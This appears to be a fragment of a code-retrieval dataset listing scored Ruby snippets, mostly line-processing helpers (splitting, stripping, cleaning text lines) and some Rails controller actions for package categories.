"docid": "3e5361de7bba5d461096c9a660d6494f",
"score": "0.58191574",
"text": "def process_line(line)\n line.split(\"^\").map do |field|\n field.gsub(/~/, '').chomp\n end\n end",
"title": ""
},
{
"docid": "17efbf26bc84d92ca02fffc28d31755c",
"score": "0.5814223",
"text": "def strip_at_lines_head!(linebreak: $/)\n lb_quo = Regexp.quote linebreak\n gsub!(/(\\A|#{lb_quo})[[:blank:]]+/m, '\\1')\n end",
"title": ""
},
{
"docid": "56eef1f1dd0f53adf8535f4ea51defc0",
"score": "0.5811138",
"text": "def droplines_without_cmd(linenums, str)\n #puts \"dropping lines without \" + str.to_s + \" for lines \" + linenums\n span = Span.new(linenums, @fulllength)\n span.each { |linenum|\n if !@droppedlines.include? linenum and\n !@content[shiftedindex linenum].include? str\n @content.delete_at(shiftedindex linenum)\n @droppedlines.push linenum\n end\n }\n end",
"title": ""
},
{
"docid": "78fee3da50c28ea57003d2b358957386",
"score": "0.5795528",
"text": "def remove_line_references(name, file)\n source = IO.readlines(name)\n source.reject! { |line| line =~ /^#line\\s(\\d+)\\s\"[^\"]+\"/ }\n File.open(file, \"w\") { |f| f.puts source }\nend",
"title": ""
},
{
"docid": "14609588e5967e7aaee3b34309c6bc81",
"score": "0.57909507",
"text": "def unshift_line(line)\n @lines.unshift line\n @next_line_preprocessed = true\n @eof = false\n @lineno -= 1\n nil\n end",
"title": ""
},
{
"docid": "3623182746b1aedaa181fc40c1c2c349",
"score": "0.57862496",
"text": "def cleanup(line)\n phrase = line.gsub!(/[^a-z]/i, ' ').gsub!(/\\s+/, \" \") # the /i make the expression case insensitive.\n # phrase.gsub!(/\\s+/, \" \") # can put this on separate line as well.\n # phrase.delete('') # this does not work.\nend",
"title": ""
},
{
"docid": "945c1292c95258c8c7372f3bd336c008",
"score": "0.57791317",
"text": "def process_token_line(line, out_file, prev_name)\n name, rhs = line.split('::=').map { |item| item.strip }\n name, rhs = prev_name, line[2..-1] unless rhs\n return '' unless rhs\n out_file.write(\" :#{name}:\\n\") if prev_name != name\n symbols, action = rhs.split(';')\n symbols.strip.split(' ').each_with_index do |symbol, index|\n out_file.write(' - - ') if index == 0\n out_file.write(' - ') if index != 0\n out_file.write(\":#{symbol}\\n\")\n end\n action = '' if action.nil?\n out_file.write(\" - '#{action.strip}'\\n\")\n name\nend",
"title": ""
},
{
"docid": "1fbe2c2e0c8d9f942664f49f5c016c07",
"score": "0.57780725",
"text": "def git_removed_line\n `git diff | grep ' #{name} (' | grep '\\\\- '`\n end",
"title": ""
},
{
"docid": "ba880b323f09a2e520518bf620dfc159",
"score": "0.5762141",
"text": "def strip_single_token(line_number)\r\n line = self[line_number]\r\n token_string = line.slice!(0,line.length)\r\n add_token(token_string,line_number)\r\n end",
"title": ""
},
{
"docid": "ed948df548b49a20cfe357e803ff1e2f",
"score": "0.5758498",
"text": "def remove_line_references(name, file)\n source = IO.readlines name\n source.reject! { |line| line =~ /^#line\\s(\\d+)\\s\"[^\"]+\"/ }\n File.open(name, \"w\") { |f| f.puts source }\nend",
"title": ""
},
{
"docid": "ed948df548b49a20cfe357e803ff1e2f",
"score": "0.5758498",
"text": "def remove_line_references(name, file)\n source = IO.readlines name\n source.reject! { |line| line =~ /^#line\\s(\\d+)\\s\"[^\"]+\"/ }\n File.open(name, \"w\") { |f| f.puts source }\nend",
"title": ""
},
{
"docid": "0620e781e417072ba406c264a1dcb1f8",
"score": "0.5751743",
"text": "def change_line(line)\n\t# Typical example: first time did Versace got some duplicate names so have to redo.\n line.gsub!(\"A. Alfredo Versace\", \"Alfredo Versace\")\n line.gsub!(\"Alfredo Versace A\", \"Alfredo Versace\")\n\n line.gsub!(\"A. Sementa\", \"Antonio Sementa\")\n# line.gsub!(\"Sementa\", \"Antonio Sementa\")\n# line.gsub!(\"A. Sementa\", \"Antonio Sementa\")\n line.gsub!(\"A. Madala\", \"Agustin Madala\")\n line.gsub!(\"Madala\", \"Agustin Madala\")\n line.gsub!(\"Agustin Agustin Madala\", \"Agustin Madala\")\n\n\treturn line\nend",
"title": ""
},
{
"docid": "3308a972b1a8c59da193c700d3473d7d",
"score": "0.57497203",
"text": "def line(katz_deli)\n occupied_str = \"The line is currently:\"\n # condition for people in line\n if katz_deli.length > 0\n #if there are people then add them to occupied string-- position is one more than index\n katz_deli.each {|person| occupied_str+= \" #{katz_deli.index(person) +1}. #{person}\"}\n puts occupied_str\n else\n puts \"The line is currently empty.\"\n end\nend",
"title": ""
},
{
"docid": "a2b25731a3b67debec4368c340aae76e",
"score": "0.5742375",
"text": "def remove_line\n @current_line -= 1\n refresh_cursor_position\n end",
"title": ""
},
{
"docid": "624a0b116cde8607aca0ad1eaf0d2f46",
"score": "0.5730198",
"text": "def remove_mos_email_from_file(output_file)\n if File.exist?(output_file)\n (mos_username,mos_password) = get_mos_details()\n mos_head = mos_username.upcase.split(\"@\")[0]\n mos_tail = mos_username.upcase.split(\"@\")[1]\n array = []\n lines = File.readlines(output_file)\n if lines.to_s.match(/#{mos_head}/)\n lines.each do |line|\n if line.match(/#{mos_head}/)\n line = line.gsub(/#{mos_head}/,\"\")\n line = line.gsub(/#{mos_tail}/,\"\")\n end\n array.push(line)\n end\n File.delete(output_file)\n file = File.open(output_file,\"w\")\n array.each do |line|\n file.puts line \n end\n file.close \n end\n end\n return\nend",
"title": ""
},
{
"docid": "8cc00f76b512254e817bc2e76fe7db16",
"score": "0.5721245",
"text": "def line(someone) \n cur_line = \"The line is currently:\" \n someone.each.with_index(1) do |num, name|\n cur_line << \" #{name}. #{num}\"\n end\n someone.length < 1 ? (puts \"The line is currently empty.\") : (puts cur_line)\nend",
"title": ""
},
{
"docid": "47d07fcd47610a94537213bdb28e4141",
"score": "0.5720761",
"text": "def trimmed_line_text; end",
"title": ""
},
{
"docid": "be5ce70f68816346a179a6c7ac8319be",
"score": "0.57157075",
"text": "def fix_underlines(text)\n result_lines = []\n prev_line, prev_line2 = \"\", \"\"\n\n text.each_line do |line|\n if line =~ /^(=+|-+)\\s*$/ and prev_line2 !~ /^\\s*$/\n line = \" \" + line\n end\n prev_line2, prev_line = prev_line, line\n result_lines.push(line)\n end\n\n result_lines.join\nend",
"title": ""
},
{
"docid": "a99ed3f25298f82a8ca83e66740abf5d",
"score": "0.5707189",
"text": "def parse_headline(line)\n line.gsub(\"#\", \"\").gsub(\"\\n\", \"\").sub(\" \", \"\")\n end",
"title": ""
},
{
"docid": "1a81ba3b1075dc260e41cc1d3442495e",
"score": "0.5700803",
"text": "def remove_first_line\n first_newline = (index(\"\\n\") || size - 1) + 1\n slice!(0, first_newline).sub(\"\\n\", '')\n self\n end",
"title": ""
},
{
"docid": "fe269a53915cfb2e2494f748e0e23777",
"score": "0.56858087",
"text": "def process_line(line); end",
"title": ""
},
{
"docid": "fe269a53915cfb2e2494f748e0e23777",
"score": "0.56858087",
"text": "def process_line(line); end",
"title": ""
},
{
"docid": "fe269a53915cfb2e2494f748e0e23777",
"score": "0.56858087",
"text": "def process_line(line); end",
"title": ""
},
{
"docid": "90e9abd7392ece17af1e93b27f614e24",
"score": "0.56848246",
"text": "def clear_line\n prev_line = line\n write_line(' ' * cols)\n goto(prev_line, 0)\n end",
"title": ""
},
{
"docid": "39581d804da085fbd74a9462cf616eb7",
"score": "0.56821585",
"text": "def clean(hline)\n \n #Clean First and Last Name\n for key in ['first_name','last_name']\n hline[key] = hline[key].downcase.strip\n end\n\nend",
"title": ""
},
{
"docid": "962fa3ec8218753656e56506d5d8afdf",
"score": "0.56723535",
"text": "def remove_boilerplate(s)\n # nuke any line to do with Sabinet and the government printer\n s.gsub(/^.*Sabinet.*Government Printer.*$/i, '')\\\n .gsub(/^.*Provincial Gazette \\d+.*$/i, '')\\\n .gsub(/^.*Provinsiale Koerant \\d+.*$/i, '')\\\n .gsub(/^\\s*\\d+\\s*$/, '')\\\n # get rid of date lines\n .gsub(/^\\d+\\s+\\w+\\s+\\d+$/, '')\\\n # get rid of page number lines\n .gsub(/^\\s*page \\d+( of \\d+)?\\s*\\n/i, '')\n end",
"title": ""
},
{
"docid": "d6c833811bf7c98b94653dce057f83dc",
"score": "0.56709653",
"text": "def clean_invokation(line)\n\tsemi_split = line.split(';')\n\tcomment = semi_split[1].strip\n\tfn_split = semi_split[0].split(',')\n\tfunction_name = fn_split[fn_split.size() - 1].strip\n\treturn function_name\nend",
"title": ""
},
{
"docid": "eb225f09120982d915990040b0c0ac9a",
"score": "0.5662972",
"text": "def line people\n if people.empty?\n puts \"The line is currently empty.\"\n else\n message = \"The line is currently:\"\n people.each_with_index do |name, index|\n message += \" #{index + 1}. #{name}\"\n end\n puts message\n end\nend",
"title": ""
},
{
"docid": "d39fcecaec365ec4492a04f1e9cdc268",
"score": "0.56591606",
"text": "def freeze(to_line)\n @to_line = to_line.to_i\n @lines.each do |line| \n if line =~ MARKER_PATTERN and (marker = Marker.from(line)) \n if @queries[-1].is_a? Array\n # Flatten last query and clean up\n last_qry = @queries[-1].join(\"\\n\")\n if last_qry.strip.empty?\n @queries.slice!(-1)\n else\n @queries[-1] = last_qry\n end\n end\n # Add marker and new array for ordinary lines of text\n @queries << marker\n @queries << []\n else\n # Add line to current query\n @queries[-1] << line unless line.strip.empty?\n end \n end\n unless @queries[-1].is_a? Marker\n # Flatten last query and clean up\n last_qry = @queries[-1].join(\"\\n\")\n if last_qry.strip.empty?\n @queries.slice!(-1)\n else\n @queries[-1] = last_qry\n end \n end\n super()\n end",
"title": ""
},
{
"docid": "a41507691bce7f8da668692970769e12",
"score": "0.5643734",
"text": "def clean_invokation(line)\r\n\tsemi_split = line.split(';')\r\n\tcomment = semi_split[1].strip\r\n\tfn_split = semi_split[0].split(',')\r\n\tfunction_name = fn_split[fn_split.size() - 1].strip\r\n\treturn function_name\r\nend",
"title": ""
},
{
"docid": "9fc665324fd929ee87bcc19e18f855dc",
"score": "0.5637443",
"text": "def clean_line(line)\n if @options[:include_plus_and_minus_in_html]\n line.sub(/^(.)/, '<span class=\"symbol\">\\1</span>')\n else\n line.sub(/^./, '')\n end.chomp\n end",
"title": ""
},
{
"docid": "9fc665324fd929ee87bcc19e18f855dc",
"score": "0.5637443",
"text": "def clean_line(line)\n if @options[:include_plus_and_minus_in_html]\n line.sub(/^(.)/, '<span class=\"symbol\">\\1</span>')\n else\n line.sub(/^./, '')\n end.chomp\n end",
"title": ""
},
{
"docid": "1b8049e68f6915780f58994a742e7db6",
"score": "0.56295705",
"text": "def parse(line)\n @pattern, *@owners = line.split(/\\s+/)\n @whitespace = line.split('@').first.count(' ') - 1\n end",
"title": ""
},
{
"docid": "21fa78eea28c3b44414b64d006b0d699",
"score": "0.56221604",
"text": "def line(array)\n if array.count < 1 \n puts \"The line is currently empty.\"\n else\n name_of_people_in_line = []\n for i in array\n name = i\n position = array.index(name)\n final_position = position + 1\n name_and_position = \" #{final_position}. #{name}\"\n name_of_people_in_line.push(name_and_position.to_s)\n end\n puts \"The line is currently:#{name_of_people_in_line.join()}\"\n end \nend",
"title": ""
},
{
"docid": "d7696ee81ebd45f4aa12fdc736c38291",
"score": "0.5617109",
"text": "def cleanup(data)\n data\n .to_s\n .each_line\n .reject { |line| line.start_with?('#') || line.chomp.empty? }\n .uniq\n .sort\n .join\n end",
"title": ""
},
{
"docid": "813c01146cbc12cdbf3eba09dbae572f",
"score": "0.5603938",
"text": "def normalise_line(line, do_prefix_hack = false)\n # Note that a freestanding \"@\" is used to denote the current origin - we can simply replace that straight away\n # Remove the ( and )\n # Note that no domain name may be specified in the RR - in that case, last_name should be used. How do we tell? Tab or space at start of line.\n\n # If we have text in the record, then ignore that in the parsing, and stick it on again at the end\n stored_line = \"\";\n if (line.index('\"') != nil)\n stored_line = line[line.index('\"'), line.length];\n line = line [0, line.index('\"')]\n end\n if ((line[0,1] == \" \") || (line[0,1] == \"\\t\"))\n line = @last_name + \" \" + line\n end\n line.chomp!\n line.sub!(/\\s+@$/, \" #{@origin}\") # IN CNAME @\n line.sub!(/^@\\s+/, \"#{@origin} \") # IN CNAME @\n line.sub!(/\\s+@\\s+/, \" #{@origin} \")\n line.strip!\n\n\n # o We need to identify the domain name in the record, and then\n split = line.split(' ') # split on whitespace\n name = split[0].strip\n if (name.index\"\\\\\")\n\n ls =[]\n Name.create(name).labels.each {|el| ls.push(Name.decode(el.to_s))}\n new_name = ls.join('.')\n\n\n if (!(/\\.\\z/ =~ name))\n new_name += \".\" + @origin\n else\n new_name += \".\"\n end\n line = new_name + \" \"\n (split.length - 1).times {|i| line += \"#{split[i+1]} \"}\n line += \"\\n\"\n name = new_name\n split = line.split\n # o add $ORIGIN to it if it is not absolute\n elsif !(/\\.\\z/ =~ name)\n new_name = name + \".\" + @origin\n line.sub!(name, new_name)\n name = new_name\n split = line.split\n end\n\n # If the second field is not a number, then we should add the TTL to the line\n # Remember we can get \"m\" \"w\" \"y\" here! So need to check for appropriate regexp...\n found_ttl_regexp = (split[1]=~/^[0-9]+[smhdwSMHDW]/)\n if (found_ttl_regexp == 0)\n # Replace the formatted ttl with an actual number\n ttl = get_ttl(split[1])\n line = name + \" #{ttl} \"\n @last_explicit_ttl = ttl\n (split.length - 2).times {|i| line += \"#{split[i+2]} \"}\n line += \"\\n\"\n split = line.split\n elsif (((split[1]).to_i == 0) && (split[1] != \"0\"))\n # Add the TTL\n if (!@last_explicit_ttl)\n # If this is the SOA record, and no @last_explicit_ttl is defined,\n # then we need to try the SOA TTL element from the config. Otherwise,\n # find the SOA Minimum field, and use that.\n # We should also generate a warning to that effect\n # How do we know if it is an SOA record at this stage? It must be, or\n # else @last_explicit_ttl should be defined\n # We could put a marker in the RR for now - and replace it once we know\n # the actual type. If the type is not SOA then, then we can raise an error\n line = name + \" %MISSING_TTL% \"\n else\n line = name + \" #{@last_explicit_ttl} \"\n end\n (split.length - 1).times {|i| line += \"#{split[i+1]} \"}\n line += \"\\n\"\n split = line.split\n else\n @last_explicit_ttl = split[1].to_i\n end\n\n # Now see if the clas is included. If not, then we should default to the last class used.\n begin\n klass = Classes.new(split[2])\n @last_explicit_class = klass\n rescue ArgumentError\n # Wasn't a CLASS\n # So add the last explicit class in\n line = \"\"\n (2).times {|i| line += \"#{split[i]} \"}\n line += \" #{@last_explicit_class} \"\n (split.length - 2).times {|i| line += \"#{split[i+2]} \"}\n line += \"\\n\"\n split = line.split\n rescue Error\n end\n\n # Add the type so we can load the zone one RRSet at a time.\n type = Types.new(split[3].strip)\n is_soa = (type == Types::SOA)\n type_was = type\n if (type == Types.RRSIG)\n # If this is an RRSIG record, then add the TYPE COVERED rather than the type - this allows us to load a complete RRSet at a time\n type = Types.new(split[4].strip)\n end\n\n type_string=prefix_for_rrset_order(type, type_was)\n @last_name = name\n\n if !([Types::NAPTR, Types::TXT].include?type_was)\n line.sub!(\"(\", \"\")\n line.sub!(\")\", \"\")\n end\n\n if (is_soa)\n if (@soa_ttl)\n # Replace the %MISSING_TTL% text with the SOA TTL from the config\n line.sub!(\" %MISSING_TTL% \", \" #{@soa_ttl} \")\n else\n # Can we try the @last_explicit_ttl?\n if (@last_explicit_ttl)\n line.sub!(\" %MISSING_TTL% \", \" #{@last_explicit_ttl} \")\n end\n end\n line = replace_soa_ttl_fields(line)\n if (!@last_explicit_ttl)\n soa_rr = Dnsruby::RR.create(line)\n @last_explicit_ttl = soa_rr.minimum\n end\n end\n\n line = line.strip\n\n if (stored_line && stored_line != \"\")\n line += \" \" + stored_line.strip\n end\n\n # We need to fix up any non-absolute names in the RR\n # Some RRs have a single name, at the end of the string -\n # to do these, we can just check the last character for \".\" and add the\n # \".\" + origin string if necessary\n if ([Types::MX, Types::NS, Types::AFSDB, Types::NAPTR, Types::RT,\n Types::SRV, Types::CNAME, Types::MB, Types::MG, Types::MR,\n Types::PTR, Types::DNAME].include?type_was)\n # if (line[line.length-1, 1] != \".\")\n if (!(/\\.\\z/ =~ line))\n line = line + \".\" + @origin.to_s\n end\n end\n # Other RRs have several names. These should be parsed by Dnsruby,\n # and the names adjusted there.\n if ([Types::MINFO, Types::PX, Types::RP].include?type_was)\n parsed_rr = Dnsruby::RR.create(line)\n case parsed_rr.type\n when Types::MINFO\n if (!parsed_rr.rmailbx.absolute?)\n parsed_rr.rmailbx = parsed_rr.rmailbx.to_s + \".\" + @origin.to_s\n end\n if (!parsed_rr.emailbx.absolute?)\n parsed_rr.emailbx = parsed_rr.emailbx.to_s + \".\" + @origin.to_s\n end\n when Types::PX\n if (!parsed_rr.map822.absolute?)\n parsed_rr.map822 = parsed_rr.map822.to_s + \".\" + @origin.to_s\n end\n if (!parsed_rr.mapx400.absolute?)\n parsed_rr.mapx400 = parsed_rr.mapx400.to_s + \".\" + @origin.to_s\n end\n when Types::RP\n if (!parsed_rr.mailbox.absolute?)\n parsed_rr.mailbox = parsed_rr.mailbox.to_s + \".\" + @origin.to_s\n end\n if (!parsed_rr.txtdomain.absolute?)\n parsed_rr.txtdomain = parsed_rr.txtdomain.to_s + \".\" + @origin.to_s\n end\n end\n line = parsed_rr.to_s\n end\n if (do_prefix_hack)\n return line + \"\\n\", type_string, @last_name\n end\n return line+\"\\n\"\n end",
"title": ""
},
{
"docid": "3d3470a0dd233fef0b8975daf20739f8",
"score": "0.5601616",
"text": "def machine2(line)\r\n line.strip!\r\n line[0] = ''\r\n x = line.size\r\n line.insert x, \"\\n\"\r\n return line \r\n end",
"title": ""
},
{
"docid": "9e501f698b2f9afe3d3f0084271f4f90",
"score": "0.56012887",
"text": "def mark_invisible\n @line = \"\"\n end",
"title": ""
},
{
"docid": "5ef94a148445c60108f5f4d92959d781",
"score": "0.55912507",
"text": "def prepareLine(line)\n line = line.downcase\n .chomp!\n .gsub(/[^\\s0-9a-zA-Z']*/,\"\")\n .sub(/^\\s*/, \"\")\n puts \"#{line}\"\n line\nend",
"title": ""
},
{
"docid": "35371b56caf70d38fb25d2cf7d7c6934",
"score": "0.55889106",
"text": "def delete_lines!\n (end_line - start_line).times { |i| buffer.delete(start_line + 1) }\n end",
"title": ""
},
{
"docid": "4de87f211aa656ee77e91e624085b6c2",
"score": "0.5584735",
"text": "def deleteReference(people, line)\n indexRecommender = @@vertices.index(people[0].downcase)\n indexRecommendee = @@vertices.index(people[1].downcase)\n if !indexRecommendee.nil? and !indexRecommender.nil? and indexRecommendee != indexRecommender\n @@adjacencyMatrix[indexRecommendee][indexRecommender]=nil\n writeToFile(line)\n else\n writeToErrorFile('invalid delete reference - ' + line)\n end\n end",
"title": ""
},
{
"docid": "f95387ad86c76c0f57136a79e5f6180f",
"score": "0.55814815",
"text": "def remove_comments_from_line(line)\n line.gsub(/;.*$/, '')\n end",
"title": ""
},
{
"docid": "f22f58e27c1ddfbb92f461218c4ed801",
"score": "0.55781925",
"text": "def clean(line)\n line=line.downcase\n line=line.gsub(/[^[:word:]\\s]/,' ')\n line\n end",
"title": ""
},
{
"docid": "6fd9336ef4b412b826450e906930fb0d",
"score": "0.5567509",
"text": "def irrelevant_line(source_line); end",
"title": ""
},
{
"docid": "52575b20280d511b7d18f6230cef7689",
"score": "0.55674446",
"text": "def scrub!(line, obscure_with: self.obscure_with)\n discover_sensitive_values(line)\n obscure_sensitive_values!(line, obscure_with: obscure_with)\n end",
"title": ""
},
{
"docid": "838ede99294b2a7b9ea78c19fe62aab4",
"score": "0.5562249",
"text": "def line(katz_deli)\n if katz_deli.empty? == true\n puts \"The line is currently empty.\"\n else\n current_line = \"The line is currently:\"\n katz_deli.each.with_index(1) do |person, index|\n current_line << \" #{index}. #{person}\"\n end\n puts current_line\n end\nend",
"title": ""
},
{
"docid": "71ce72c7eddb019f8f9520b4136f5d8a",
"score": "0.55603176",
"text": "def fix_line(line)\n if PATTERN.match(line)\n Regexp.last_match(1) +\n Formatter.countries[Regexp.last_match(2).to_i] +\n Regexp.last_match(3)\n else\n line\n end\n end",
"title": ""
},
{
"docid": "834cbbe657022e85b8125897e99bdbd3",
"score": "0.5555815",
"text": "def processLine(line)\n\t\tif line=~ /^\\/who/\n\t\t\tself.who\n\t\telsif line =~ /^\\/nick/ \n\t\t\tself.changeNick(line.gsub(/^\\/nick/,\"\").strip!)\n\t\telsif line =~ /^\\/list/\n\t\t\tself.list\n\t\telsif line =~ /^\\/copy\\s/\n\t\t\tself.copy(line.gsub(/^\\/copy\\s/,\"\").strip!)\t\n\t\telsif line =~ /^\\/copy_last/\n\t\t\tself.copyLast\n\t\telsif line =~ /^\\/clear/\n\t\t\tself.clear\n\t\telsif line =~ /^\\/paste/\n\t\t\tself.paste(line.gsub(/^\\/paste/,\"\").strip!)\n\t\telse sendMessage(line)\n\t\tend\n\tend",
"title": ""
},
{
"docid": "5bc1739f915ed6480bf5ffc14d51f657",
"score": "0.55399036",
"text": "def line(deli)\n if deli.empty?\n puts \"The line is currently empty.\"\n else\n current_line = \"The line is currently:\"\n deli.each.with_index(1) do |person, i|\n current_line << \" #{i}. #{person}\"\n end\n puts current_line\n end\nend",
"title": ""
},
{
"docid": "775a6f1c1a8f0923032288ab15e2341f",
"score": "0.5538993",
"text": "def line=(line); end",
"title": ""
},
{
"docid": "775a6f1c1a8f0923032288ab15e2341f",
"score": "0.5538993",
"text": "def line=(line); end",
"title": ""
},
{
"docid": "775a6f1c1a8f0923032288ab15e2341f",
"score": "0.5538993",
"text": "def line=(line); end",
"title": ""
},
{
"docid": "0a5e5ae337aa27e5cbfa6c92cc2b4f02",
"score": "0.5537198",
"text": "def outdent\n lines = split(\"\\n\")\n head = lines.map { |line| line[/\\A(\\s*)[^\\s]/, 1] }.compact.min\n tail = self[/\\n*\\Z/]\n dented = lines.map { |line| line.sub(/\\A#{head}/, '') }\n dented.join(\"\\n\") + tail\n end",
"title": ""
},
{
"docid": "b9f83664a221d841ad02dedbe6604b47",
"score": "0.5536908",
"text": "def scrub(line, obscure_with: self.obscure_with)\n discover_sensitive_values(line)\n obscure_sensitive_values(line, obscure_with: obscure_with)\n end",
"title": ""
},
{
"docid": "95cb36f1eb13f804db7c8d9c0c443ad6",
"score": "0.5533955",
"text": "def print_line(line)\n\tline = line.gsub(\"\\t\", ' ')\n\tputs line if !/^\\s*#/.match(line)\nend",
"title": ""
},
{
"docid": "618417f02c408be40aa4dc3153a8f26a",
"score": "0.55222416",
"text": "def sanitize_machine_readable_passport_line(line)\n return \"\" unless is_machine_readable_passport_line?(line)\n\n pos = line.index('p<')\n pos.nil? ? \"\" : line[pos..-1].gsub(/ /, '')\n end",
"title": ""
},
{
"docid": "005e2e2f140121e5a4c2e48685dcbb4a",
"score": "0.5520328",
"text": "def clean(line)\n line.gsub!(\"\\n\", \" \")\n line.gsub!(/(?<foo>[[:punct:]])/, ' \\k<foo> ')\n 2.times { line.gsub!(\" \", \" \") }\n line.lstrip\n end",
"title": ""
},
{
"docid": "b408d39ebcad068546c6d8959129c3af",
"score": "0.55107003",
"text": "def get_father_name(line)\n k = 1\n line.split('\\n').each do |l|\n if l !~ INVALID_NAME_PATTERN\n if k==2\n return l.gsub(/(\\\\r|\\\\)/,\"\").strip\n end\n k = k + 1\n end\n end\n return \"\"\nend",
"title": ""
},
{
"docid": "2dd0908e4be94e8b625564955942cc71",
"score": "0.55073076",
"text": "def parse_line(line)\n\tline.gsub!(\"bags\",\"\")\n\tline.gsub!(\"bag\",\"\")\n\tline.gsub!(\".\",\"\")\n\treturn line\nend",
"title": ""
}
] |
a0f97804b2b8c5fbfeedf927d0668a82
|
PUT /package_categories/1 PUT /package_categories/1.xml
|
[
{
"docid": "1620da932c7fdc51bfc9f7d84066d0c4",
"score": "0.66923887",
"text": "def update\n @package_category = PackageCategory.find(params[:id])\n\n respond_to do |format|\n if @package_category.update_attributes(params[:package_category])\n format.html { redirect_to(@package_category, :notice => 'Package category was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @package_category.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
[
{
"docid": "2361032d20c90f31f01231aa19cc92d1",
"score": "0.5905008",
"text": "def subscribe_to_category category\n put(\"/categories/#{category}\", code: 204)\n end",
"title": ""
},
{
"docid": "5969c1934aee1189cced0d6703de51b5",
"score": "0.5842354",
"text": "def create\n @package_category = PackageCategory.new(params[:package_category])\n\n respond_to do |format|\n if @package_category.save\n format.html { redirect_to(@package_category, :notice => 'Package category was successfully created.') }\n format.xml { render :xml => @package_category, :status => :created, :location => @package_category }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @package_category.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6be19646a1c7b2bae970008f4e3204d6",
"score": "0.5772287",
"text": "def update\n @draft_company_category = DraftCompanyCategory.find(params[:id])\n\n respond_to do |format|\n if @draft_company_category.update_attributes(params[:draft_company_category])\n\n format.xml \n else\n \n format.xml \n end\n end\n end",
"title": ""
},
{
"docid": "d61a25d69ed10b03601d4f17ba7d9ef3",
"score": "0.57581186",
"text": "def update\n #RAILS_DEFAULT_LOGGER.debug(\"******** REST Call to CRMS: Updating #{self.class.name}:#{self.id}\")\n #RAILS_DEFAULT_LOGGER.debug(caller[0..5].join(\"\\n\")) \n response = connection.put(element_path(prefix_options), to_xml, self.class.headers)\n save_nested\n load_attributes_from_response(response)\n merge_saved_nested_resources_into_attributes\n response\n end",
"title": ""
},
{
"docid": "4de66cc34d886de7e8ad3b6546779d97",
"score": "0.5751867",
"text": "def update\n @root_category = RootCategory.find(params[:id])\n\n respond_to do |format|\n if @root_category.update_attributes(params[:root_category])\n format.html { redirect_to @root_category, notice: 'Root category was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @root_category.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d2bfe837bfbbfe02c322d6d69cb88623",
"score": "0.5724773",
"text": "def update\n params[:category].try(:delete, :name)\n @category = Category.find(params[:id])\n @category.update_attributes(params[:category])\n respond_with @category, :location => categories_path\n end",
"title": ""
},
{
"docid": "dd050f27b9a157aa4a39060bbb513706",
"score": "0.5720494",
"text": "def update\n authorize @package\n if @package.update(package_params)\n render json: { status: :ok, package: @package }\n else\n render json: {error: @package.errors, status: :unprocessable_entity }\n end\n end",
"title": ""
},
{
"docid": "b13875536ad914618e8afbf1f3dff055",
"score": "0.5710599",
"text": "def update\n respond_to do |format|\n if @api_v1_category.update(api_v1_category_params)\n format.html { redirect_to @api_v1_category, notice: 'Category was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_category }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_category.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "47f7b6eb051d58f8b26c44751dff1fa2",
"score": "0.5701959",
"text": "def update\n category = Category.find(params[:id])\n\n if category.update_attributes(params[:category])\n response = formatted_response(true, category, t('api.message.catalog.categories.update.success'))\n else\n response = formatted_response(false, category.errors, t('api.message.catalog.categories.update.failure'))\n end\n\n render :json => response\n end",
"title": ""
},
{
"docid": "fe06c662fd55118a26f94610aab2eeea",
"score": "0.5669964",
"text": "def update_category(project_id, category_id, opts = {})\n put \"projects/#{project_id}/categories/#{category_id}\", opts\n end",
"title": ""
},
{
"docid": "3afb379689b83a31e1b466ddd2e7e2d4",
"score": "0.5657102",
"text": "def destroy\n @package_category = PackageCategory.find(params[:id])\n @package_category.destroy\n\n respond_to do |format|\n format.html { redirect_to(package_categories_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "22ae82f31f051701d5efc6be56898880",
"score": "0.56253517",
"text": "def update\n @package = Package.find(params[:id])\n\n if @package.update(package_params)\n head :no_content\n else\n render json: @package.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "22ae82f31f051701d5efc6be56898880",
"score": "0.56253517",
"text": "def update\n @package = Package.find(params[:id])\n\n if @package.update(package_params)\n head :no_content\n else\n render json: @package.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "93a5ccb51117c09834279eaf3fb54334",
"score": "0.5615001",
"text": "def update\n @node_category = NodeCategory.find(params[:id])\n\n respond_to do |format|\n if @node_category.update_attributes(params[:node_category])\n format.html { redirect_to @node_category, notice: 'Node category was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @node_category.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e8e9684a49a111fe5643cdb2d6a1cb3e",
"score": "0.5613606",
"text": "def update\n @category = Category.find(params[:id])\n @category.update_attributes(params[:category])\n respond_with(@category)\n end",
"title": ""
},
{
"docid": "0e516b45f5e79650cac13cde535ed255",
"score": "0.5585454",
"text": "def update\n params[:package][:destination_ids] ||= []\n\n respond_to do |format|\n if @package.update_attributes(params[:package])\n format.html { redirect_to(package_path(@package), :notice => t('general.label.item_update', :item => t('activerecord.models.package'))) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @package.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3559623d8c30ea2525c11e9f44ca8392",
"score": "0.55711186",
"text": "def update\n @package = Package.find(params[:id])\n \n #@package.set(:products => params[:product_ids])\n \n #@package.products.update({'_id' => @package.id}, {'$push' => params[:package][:product_ids]})\n respond_to do |format|\n if @package.update_attributes(params[:package]) \n format.html { redirect_to(edit_admin_package_path(@package), :notice => \"Package was successfully updated: #{@package.products.size}\") }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @package.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8043bac8c76854bd2b0c1f9be08eba0e",
"score": "0.55704105",
